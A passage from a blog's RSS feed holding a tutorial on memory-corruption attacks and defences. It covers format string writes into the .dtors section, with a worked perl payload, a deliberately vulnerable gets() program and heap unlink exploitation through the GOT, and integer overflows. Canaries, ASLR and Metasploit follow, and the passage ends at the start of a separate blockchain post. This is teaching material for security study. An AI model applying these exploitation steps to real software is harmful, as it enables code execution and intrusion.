&lt;SPAN ID=&quot;hue4352&quot;&gt;Hence, by supplying a pointer to the memory you wish to overwrite and issuing the %n specifier, you write the number of 
characters that &lt;code&gt;printf&lt;/code&gt; has written so far directly to that memory address.&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
Here is a nice format string:
&lt;/p&gt;

&lt;PRE&gt;
%.0(pad 1)x%(arg number 1)$hn%.0(pad 2)x%(arg number 2) \
$hn(address 1)(address 2)(padding)
&lt;/PRE&gt;

&lt;DL&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;(pad 1)&lt;/code&gt;&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;is the lowest two bytes of the value you wish to write&lt;/LI&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;(pad 2)&lt;/code&gt;&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;is the highest two bytes of the value you wish to write minus (pad 1)&lt;/LI&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;(arg number 1)&lt;/code&gt;&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;is the offset from the first argument to (address 1) in the buffer&lt;/LI&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;(arg number 2)&lt;/code&gt;&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;is the offset from first argument to (address 2) in the buffer&lt;/LI&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;(address 2)&lt;/code&gt;&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;is (address 1) + 2 &lt;/LI&gt;

&lt;DT&gt;&lt;STRONG&gt;&lt;code&gt;(padding)&lt;/code&gt;&lt;/STRONG&gt;&lt;/DT&gt;
&lt;LI&gt;is between 0 and 4, to get the addresses aligned &lt;/LI&gt;

&lt;/UL&gt;&lt;/B&gt;

&lt;A NAME=&quot;SECTION00644000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
6.4 Practice : overwriting the &lt;code&gt;.dtors&lt;/code&gt; section
&lt;/h3&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4354&quot;&gt;The &lt;code&gt;.dtors&lt;/code&gt; section contains a series of pointers on functions to be executed when a program exits. By 
overwriting them, one can execute any arbitrary code at the end of a program execution.&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
We will consider here the introductory program, which we will exploit using the following format string:
&lt;/p&gt;

&lt;PRE&gt;
$ gcc -o printf printf.c
$ ./printf &apos;perl -e &apos;print &quot;%.048879x&quot; . &quot;%114\$hn&quot; . &quot;%.08126x&quot; \
. &quot;%115\$hn&quot; . &quot;\x44\x95\x04&quot; . &quot;\x08\x46\x95\x04\x08&quot; . &quot;A&quot;&apos;;&apos;
&lt;/PRE&gt;

&lt;p&gt;
The format string is thus equal to
&lt;/p&gt;

&lt;PRE&gt;
%.048879x%105$hn%.08126x%106$hn\x44\x95\x04\x08\x46\x95\x04\x08
&lt;/PRE&gt;

&lt;p&gt;
Knowing that the .dtors section was assumed to begin at address &lt;code&gt;0x08049540&lt;/code&gt;, one can analyse this format string
this way:
&lt;/p&gt;
&lt;p&gt;
The &lt;code&gt;printf()&lt;/code&gt; routine begins by writing 48879 characters thanks to the &lt;code&gt;%x&lt;/code&gt; format command, whose 
content is not interesting. Then, the &lt;code&gt;%n&lt;/code&gt; command writes the number of bytes written so far (i.e., 48879 or 
&lt;code&gt;0xBEEF&lt;/code&gt; in hexadecimal) in the content of the address given as the 105th argument of &lt;code&gt;printf()&lt;/code&gt;, i.e., 
the address &lt;code&gt;0x08049540&lt;/code&gt;. 
&lt;BR&gt;
Note that when one writes a &quot;short&quot;, i.e., only 2 bytes. The format string write another 8126 characters (where we do 
not care about the content). 
&lt;BR&gt;
Then, it writes the number of characters written so far, which is &lt;code&gt;48879+8126=57005&lt;/code&gt; (or &lt;code&gt;0xDEAD&lt;/code&gt; in 
hexadecimal) in the address pointed by the 106th argument, which is &lt;code&gt;0x08049546&lt;/code&gt;. Hence, this format string 
writes the value &lt;code&gt;0xDEADBEEF&lt;/code&gt; at the address &lt;code&gt;0x08049544&lt;/code&gt;.
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00650000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
7. Heap overflow
&lt;/h2&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4128&quot;&gt;A common heap implementation is as follows (of course, there might be variations, for instance for performance reasons):&lt;/SPAN&gt;
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4131&quot;&gt;Available memory is divided into chunks&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4133&quot;&gt;Each chunk contains :&lt;/SPAN&gt;     &lt;/LI&gt;
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4136&quot;&gt;A header structure&lt;/SPAN&gt;   &lt;/LI&gt; 
&lt;LI&gt;&lt;SPAN ID=&quot;hue4138&quot;&gt;Free space for the user&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt;

&lt;/UL&gt; 

&lt;A NAME=&quot;SECTION00651000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
7.1 Heap organisation
&lt;/h3&gt; 

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4144&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.11:&lt;/STRONG&gt;
Heap organisation&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;512&quot; HEIGHT=&quot;305&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/5220156a-eeee-4aeb-8e93-dd910a8bec0d&quot;
 ALT=&quot;Image heap_orga&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;UL&gt;

&lt;LI&gt;The size element also specifies in its LSB whether the previous chunk is free or not&lt;/LI&gt;

&lt;LI&gt;This information bit is called &lt;code&gt;PREV_INUSE&lt;/code&gt;&lt;/LI&gt;

&lt;LI&gt;Example: &lt;BR&gt;
    &lt;code&gt;size == 0x30&lt;/code&gt; (40-byte buffer, previous chunk free) &lt;BR&gt;
    &lt;code&gt;size == 0x31&lt;/code&gt; (40-byte buffer, previous chunk in use)
&lt;/LI&gt;
&lt;LI&gt;Consequence : &lt;code&gt;malloc()&lt;/code&gt; should always allocate multiple of at least 2 bytes&lt;/LI&gt;

&lt;LI&gt;In practice : The minimum size of a chunk is always 16 bytes &lt;/LI&gt;

&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00652000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
7.2 Free chunks
&lt;/h3&gt;

&lt;p&gt;
Free chunks are stored in a &lt;i&gt;doubly linked&lt;/i&gt; list :
&lt;/p&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4156&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.12:&lt;/STRONG&gt;
Free chunks : doubly-linked list&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;473&quot; HEIGHT=&quot;70&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/6a55d280-df58-4a60-9e1b-32ac52c34359&quot;
 ALT=&quot;Image free_chunks_list&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4355&quot;&gt;&lt;code&gt;free()&lt;/code&gt; does (approximately) as follows:&lt;/SPAN&gt;
&lt;/p&gt;

&lt;UL&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4356&quot;&gt;The &lt;code&gt;PREV_INUSE&lt;/code&gt; bit is cleared&lt;/SPAN&gt;&lt;/LI&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4164&quot;&gt;The addresses of the previous (bk pointer) and next (fd pointer) free chunks are placed in the chunk&apos;s data section&lt;/SPAN&gt;&lt;/LI&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4166&quot;&gt;Adjacent free chunks are merged (defragmentation operation)&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt;

&lt;p&gt;
In the light of this, the heap organisation is as follows :
&lt;/p&gt;

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4170&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.13:&lt;/STRONG&gt;
Heap organisation&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;394&quot; HEIGHT=&quot;283&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/7b225b1b-2489-4528-957e-3dd34147ebea&quot;
 ALT=&quot;Image heap_orga_2&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;


&lt;A NAME=&quot;SECTION00653000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
7.3 Defragmentation
&lt;/h3&gt;

&lt;p&gt;
Defragmentation operation of two chunks happens as follows :
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;Adding the sizes&lt;/LI&gt;

&lt;LI&gt;Removing the second chunk from the doubly-linked list using the following &lt;code&gt;unlink()&lt;/code&gt; macro below. &lt;/LI&gt;

&lt;/UL&gt; 

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4178&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.14:&lt;/STRONG&gt;
Free chunks : doubly-linked list&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;473&quot; HEIGHT=&quot;177&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/eaca95a4-2328-4516-b1c3-718bc1e0ab8e&quot;
 ALT=&quot;Image heap_defrag&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;PRE&gt;
#define unlink(P, BK, FD) \
  FD = P-&amp;gt;fd;             \
  BK = P-&amp;gt;bk;             \
  FD-&amp;gt;bk = BK;            \
  BK-&amp;gt;fd = FD;            \
&lt;/PRE&gt;



&lt;A NAME=&quot;SECTION00654000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
7.4 Heap overflow
&lt;/h3&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4184&quot;&gt;If you can overflow a buffer on the heap, you may be able to overwrite the chunk header of the next chunk on the heap.&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
Example of vulnerable program:
&lt;/p&gt;


&lt;PRE&gt;
int main(void)
{
    char *buff1, *buff2;
    buff1 = malloc(40);
    buff2 = malloc(40);
    gets(buff1);
    free(buff1);
    exit(0);
}
&lt;/PRE&gt;

 
&lt;UL&gt;

&lt;LI&gt;Two 40-bytes buffers are assigned on the heap&lt;/LI&gt;

&lt;LI&gt;&lt;code&gt;buff1&lt;/code&gt; is used to store user-supplied input (without length checking thereof)&lt;/LI&gt;

&lt;LI&gt;Hence, a heap overflow can potentially occur !  &lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
In memory, this takes place as follows :
&lt;/p&gt;


&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4192&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.15:&lt;/STRONG&gt;
Heap overflow : example&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;394&quot; HEIGHT=&quot;418&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/ae366133-a30f-4e62-9d20-49cb79e604a1&quot;
 ALT=&quot;Image heap_over_examp&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;


&lt;A NAME=&quot;SECTION00655000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
7.5 Heap overflow Exploitation
&lt;/h3&gt;

 
&lt;UL&gt;

&lt;LI&gt;Idea: make buff2 to be &quot;merged&quot; - Overwrite the size element of &lt;code&gt;buff2&lt;/code&gt; with the &lt;code&gt;PREV_INUSE&lt;/code&gt; bit unset.&lt;/LI&gt;

&lt;LI&gt;Some constraints&lt;/LI&gt;
     
&lt;UL&gt;

&lt;LI&gt;&lt;code&gt;prev_size&lt;/code&gt; and size are added to pointers so they must have small absolute values&lt;/LI&gt;
    
&lt;LI&gt;&lt;code&gt;fd + size + 4&lt;/code&gt; must point to a value whose least significant bit is 0 to fool the heap management 
          algorithm into thinking that the chunk after next is also free.&lt;/LI&gt;
    
&lt;LI&gt;There must be no &lt;code&gt;0x00&lt;/code&gt; byte in the overflow string, or gets() will stop process it.&lt;/LI&gt;
     

&lt;/UL&gt;

&lt;/UL&gt; 

&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4206&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.16:&lt;/STRONG&gt;
Heap overflow : exploitation&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;434&quot; HEIGHT=&quot;443&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/46f3ea94-8d70-488b-9d8e-96a8231143be&quot;
 ALT=&quot;Image heap_over_exp_1&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;

&lt;p&gt;
What happens when &lt;code&gt;free()&lt;/code&gt; deallocates &lt;code&gt;buff1&lt;/code&gt;, as required ?
&lt;/p&gt;

&lt;UL&gt;

&lt;LI&gt;It checks to see if the next forward chunk is free&lt;/LI&gt;

&lt;LI&gt;Because the size element of the second chunk (&lt;code&gt;buff2&lt;/code&gt;) is equal to -4, the algorithm reads the 
&lt;code&gt;PREV_INUSE&lt;/code&gt; flag from the second check, believing it is the third &lt;/LI&gt;

&lt;LI&gt;The algorithm tries to consolidate the chunks into a new, bigger one, processing the fake &lt;code&gt;fd&lt;/code&gt; and 
&lt;code&gt;bk&lt;/code&gt; pointers as
&lt;PRE&gt;
#define unlink(P, BK, FD) { \
    FD = P-&amp;gt;fd;             \
    BK = P-&amp;gt;bk;             \
    FD-&amp;gt;bk = BK;            \
    BK-&amp;gt;fd = FD;            \
}
&lt;/PRE&gt;
&lt;/LI&gt;
&lt;LI&gt;&lt;code&gt;fd + 12&lt;/code&gt; is overwritten with &lt;code&gt;bk&lt;/code&gt;&lt;/LI&gt;

&lt;LI&gt;&lt;code&gt;bk + 8&lt;/code&gt; is overwritten with &lt;code&gt;fd&lt;/code&gt; &lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
&lt;SPAN ID=&quot;hue4357&quot;&gt;In summary, you can overwrite a 4-byte work of your choice anywhere in memory with the values stored
in the fake &lt;code&gt;fd&lt;/code&gt; and &lt;code&gt;bk&lt;/code&gt; pointers&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
How to concretely exploit this ? For instance :
&lt;/p&gt; 
&lt;UL&gt;

&lt;LI&gt;Linux Executable File Format (ELF) &lt;/LI&gt;
     
&lt;UL&gt;

&lt;LI&gt;Global Offset Table (GOT) : Contains addresses of various functions&lt;/LI&gt;
    
&lt;LI&gt;&lt;code&gt;.dtors&lt;/code&gt; section : contains addresses of functions that perform cleanup work when a program exit&lt;/LI&gt;
     
&lt;/UL&gt;

&lt;UL&gt; 
&lt;LI&gt;Use &lt;code&gt;fd&lt;/code&gt; = GOT address of &lt;code&gt;exit() - 12&lt;/code&gt;&lt;/LI&gt;

&lt;LI&gt;Use &lt;code&gt;bk&lt;/code&gt; = shell-code address (i.e., &lt;code&gt;buff1&lt;/code&gt;)&lt;/LI&gt;

&lt;LI&gt;It means that you will overwrite the GOT entry for &lt;code&gt;exit()&lt;/code&gt; with the address of &lt;code&gt;buff1&lt;/code&gt;&lt;/LI&gt;

&lt;LI&gt;At the end of the &lt;code&gt;main()&lt;/code&gt;, you execute your shellcode instead of &lt;code&gt;exit()&lt;/code&gt; &lt;/LI&gt;

&lt;/UL&gt; 
&lt;/UL&gt; 


&lt;DIV ALIGN=&quot;CENTER&quot;&gt;&lt;A NAME=&quot;4240&quot;&gt;&lt;/A&gt;
&lt;TABLE&gt;
&lt;CAPTION ALIGN=&quot;BOTTOM&quot;&gt;&lt;STRONG&gt;Figure 5.17:&lt;/STRONG&gt;
Heap overflow : exploitation&lt;/CAPTION&gt;
&lt;TR&gt;&lt;TD&gt;
&lt;DIV ALIGN=&quot;CENTER&quot;&gt;

&lt;/DIV&gt;    &lt;IMG
  WIDTH=&quot;434&quot; HEIGHT=&quot;392&quot; ALIGN=&quot;BOTTOM&quot; BORDER=&quot;0&quot;
 SRC=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/a70ecacd-f8b0-4a13-9bf3-0e4c50e449df&quot;
 ALT=&quot;Image heap_over_exp_2&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;/DIV&gt;



&lt;A NAME=&quot;SECTION00660000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
8. Integer Overflows
&lt;/h2&gt;

&lt;A NAME=&quot;SECTION00661000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
8.1 Principle
&lt;/h3&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4245&quot;&gt;The idea is to identify where an integer is used for a buffer allocation and use the integer overflow to write a value
much bigger that the wrongly allocated buffer.&lt;/SPAN&gt;
&lt;/p&gt;
&lt;p&gt;
Integer overflow over 32-bit values:
&lt;/p&gt;

&lt;PRE&gt;
int a = 0xffffffff;
int b = 1;
int r = a + b;
&lt;/PRE&gt;

&lt;p&gt;
results in &lt;code&gt;r == 0x00000000&lt;/code&gt; ...
&lt;/p&gt;

&lt;A NAME=&quot;SECTION00662000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
8.2 Example
&lt;/h3&gt;

&lt;p&gt;
Imagine a user can tell the size of a data chunk to an application ...
&lt;/p&gt;
&lt;p&gt;
Example :
&lt;/p&gt;

&lt;PRE&gt;
int myfunction(int *array, int len)
{
    int *myarray, i;
    myarray = malloc(len * sizeof(int));

    if(myarray == NULL)
    {
        return -1;
    }
    
    for(i = 0; i &amp;lt; len; i++)
    {
        myarray[i] = array[i];
    }
return myarray;
}
&lt;/PRE&gt;

&lt;p&gt;
In the code above, if one can master the value of the parameter &lt;code&gt;len&lt;/code&gt;, he can screw the malloc right below:
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;If the parameter is very long, like &lt;code&gt;len = 0x40000001&lt;/code&gt;, we have &lt;BR&gt;
&lt;code&gt;0x40000001*sizeof(int)  &lt;BR&gt;
= 0x40000001*4 &lt;BR&gt;
= 0x100000004 &lt;BR&gt;
== 0x00000004 &lt;BR&gt;
&lt;/code&gt;
&lt;/LI&gt;
&lt;LI&gt;&lt;code&gt;malloc()&lt;/code&gt; will allocate a 4-byte buffer, and we will write a much larger buffer.&lt;/LI&gt;

&lt;LI&gt;This can trigger a heap overflow &lt;/LI&gt;

&lt;/UL&gt; 

&lt;A NAME=&quot;SECTION00670000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
9. Protections against Overflows
&lt;/h2&gt;


&lt;A NAME=&quot;SECTION00671000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
9.1 Canaries
&lt;/h3&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4261&quot;&gt;Canaries are specific values placed between a buffer and sensitive data on the stack.&lt;/SPAN&gt; This is an analogy to the mine 
workers who used to take a little canary bird with them in the mine. When the air was getting scarce or when unexpected
gaz shown up, the canary died and they knew they had to run out.
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4264&quot;&gt;If an overflow occurs, then the canary will be overwritten&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4266&quot;&gt;Canary check code should detect this.&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
Type of canaries:
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4358&quot;&gt;&lt;b&gt;Terminators&lt;/b&gt; : Built of 0x00, CR, LF or -1 values -&gt;  Known to an adversary.&lt;/SPAN&gt; &lt;BR&gt;
These are the simplest ones. They&apos;re easily countered : one only needs to write the canary back after the overflow occurred.
&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4359&quot;&gt;&lt;b&gt;Random&lt;/b&gt; : Random value generated at program initialization and stored as a &amp;#194;&amp;#171;protected&amp;#194;&amp;#187; global variable&lt;/SPAN&gt; &lt;BR&gt;
This is a little more difficult to counter, yet it&apos;s still feasible.
&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4360&quot;&gt;&lt;b&gt;Random XORing&lt;/b&gt; Canary built out of a random XORed with the sensitive data. Hence, it depends also on those 
sensitive data&lt;/SPAN&gt; &lt;BR&gt;
These are much more difficult to control by an attacker. For instance one can XOR the random variable and the return 
pointer -&gt;  depends on the data. 
&lt;/LI&gt;
&lt;/UL&gt; 

&lt;A NAME=&quot;SECTION00672000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
9.2 Protections implemented in GCC
&lt;/h3&gt; 

&lt;p&gt;
These protections are called &lt;i&gt;ProPolice&lt;/i&gt;. The Main features are :
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;Protects all registers saved in a function&apos;s prologue (saved EBP, saved EIP)&lt;/LI&gt;

&lt;LI&gt;Add canaries&lt;/LI&gt;

&lt;LI&gt;Sort array variables to the highest part of the stack frame&lt;/LI&gt;

&lt;LI&gt;Creates copies of the function&apos;s argument and relocates them with local variables &lt;/LI&gt;

&lt;/UL&gt; 

&lt;A NAME=&quot;SECTION00673000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
9.3 Address Space Layout Randomization - ASLR
&lt;/h3&gt;

&lt;p&gt;
&lt;SPAN ID=&quot;hue4282&quot;&gt;The idea is to arrange in a random way in the process address space the positions of key data areas :&lt;/SPAN&gt;
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;Executable code&lt;/LI&gt;

&lt;LI&gt;Library entry points&lt;/LI&gt;

&lt;LI&gt;Heap&lt;/LI&gt;

&lt;LI&gt;Stack &lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
... either statically or at runtime.
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;b&gt;Linux :&lt;/b&gt; Weak form since kernel 2.6.12. Patches exist for better implementation&lt;/LI&gt;

&lt;LI&gt;&lt;b&gt;MS Windows :&lt;/b&gt; Vista + Server 2008 have ASLR enabled by default but only for few executables (can be 
forced for others)
&lt;/LI&gt;
&lt;LI&gt;&lt;b&gt;Max OS X :&lt;/b&gt; Some library offset are randomized as of Mac OS X 10.5 
&lt;/LI&gt;
&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00674000000000000000&quot;&gt;&lt;/A&gt;
&lt;h3&gt;
9.4 Other possible protections
&lt;/h3&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4293&quot;&gt;Non-executable stack&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4295&quot;&gt;dedicated hardware. For instance, HW-based code authentication or the Same kind of mechanisms to avoid fault attacks&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4297&quot;&gt;Program obfuscation (avoids mass exploits)&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt; 


&lt;A NAME=&quot;SECTION00680000000000000000&quot;&gt;&lt;/A&gt;
&lt;h2&gt;
10. Exploitation frameworks
&lt;/h2&gt;

&lt;p&gt;
Exploitation frameworks are software packages that contain
&lt;/p&gt;

&lt;UL&gt;

&lt;LI&gt;Reliable exploit modules&lt;/LI&gt;

&lt;LI&gt;Agents for re-positioning&lt;/LI&gt;

&lt;LI&gt;Obfuscation methods&lt;/LI&gt;

&lt;LI&gt;... 

&lt;/UL&gt; 

&lt;p&gt;
Examples:
&lt;/p&gt;

 
&lt;UL&gt;

&lt;LI&gt;Metasploit Framework (free)&lt;/LI&gt;

&lt;LI&gt;CORE IMPACT (commercial)&lt;/LI&gt;

&lt;LI&gt;Immunity CANVAS (commercial) &lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
&lt;b&gt; Metasploit Framework&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Available freely through &lt;a href=&quot;http://www.metasploit.com&quot;&gt;http://www.metasploit.com&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Three main components :
&lt;/p&gt;
 
&lt;UL&gt;

&lt;LI&gt;&lt;SPAN ID=&quot;hue4309&quot;&gt;MSF Interface (cli and GUI)&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4311&quot;&gt;Modules&lt;/SPAN&gt;&lt;/LI&gt;
&lt;LI&gt;&lt;SPAN ID=&quot;hue4313&quot;&gt;Payloads&lt;/SPAN&gt;&lt;/LI&gt;

&lt;/UL&gt; 

&lt;p&gt;
&lt;b&gt; Using MSF in a nutshell&lt;/b&gt;
&lt;/p&gt;

&lt;UL&gt;
&lt;LI&gt;Select the exploit module to use&lt;/LI&gt;

&lt;LI&gt;Select the exploit payload to use&lt;/LI&gt;

&lt;LI&gt;Select the target host and delivery vector&lt;/LI&gt;

&lt;LI&gt;Set exploit target and payload options &lt;/LI&gt;

&lt;/UL&gt;

</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/blockchain-explained-beta</guid>
    <title>Blockchain explained</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/blockchain-explained-beta</link>
        <pubDate>Thu, 6 Oct 2016 18:01:56 -0400</pubDate>
    <category>Computer Science</category>
    <category>architecture</category>
    <category>bitcoin</category>
    <category>blockchain</category>
    <category>explanation</category>
    <atom:summary type="html">&lt;p&gt;
I interested myself deeply in the blockchain topic recently and this is the first article of a coming whole serie around the blockchain.
&lt;/p&gt;
&lt;p&gt;
This article presents an introduction on the blockchain, presents what it is in the light of its initial deployment in the Bitcoin project as well as all technical details and architecture concerns behind it.
&lt;br&gt;
We won&apos;t focus here on business applications aside from what is required to present the blockchain purpose, more concrete business applications and evolutions will be the topic of another post in the coming days / weeks.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;This article presents and explains all the key techniques and mechanisms behind the blockchain technology.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The blockchain principles and fundamentals are really coming initially from the design work on the Bitcoin. Most of this article focuses on the design and the principle of the blockchain put in place in the Bitcoin system. 
&lt;br&gt;
Some more recent (Blockchain 2.0) implementations differ slightly while still sharing most genes with the original blockchain, making all that is presented below valid from a conceptual perspective in these other implementations as well.
&lt;/p&gt;</atom:summary>        <description>&lt;!-- Blockchain explained --&gt;

&lt;p&gt;
The blockchain and blockchain related topics are becoming increasingly discussed and studied nowadays. There is not one single day where I don&apos;t hear about it, that being on linkedin or elsewhere.
&lt;br&gt;
I interested myself deeply in the blockchain topic recently and this is the first article of a coming whole serie around the blockchain.
&lt;/p&gt;
&lt;p&gt;
This article presents an introduction on the blockchain, presents what it is in the light of its initial deployment in the Bitcoin project as well as all technical details and architecture concerns behind it.
&lt;br&gt;
We won&apos;t focus here on business applications aside from what is required to present the blockchain purpose, more concrete business applications and evolutions will be the topic of another post in the coming days / weeks.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;This article presents and explains all the key techniques and mechanisms behind the blockchain technology and is divided in the following sections presented below.&lt;/b&gt;.
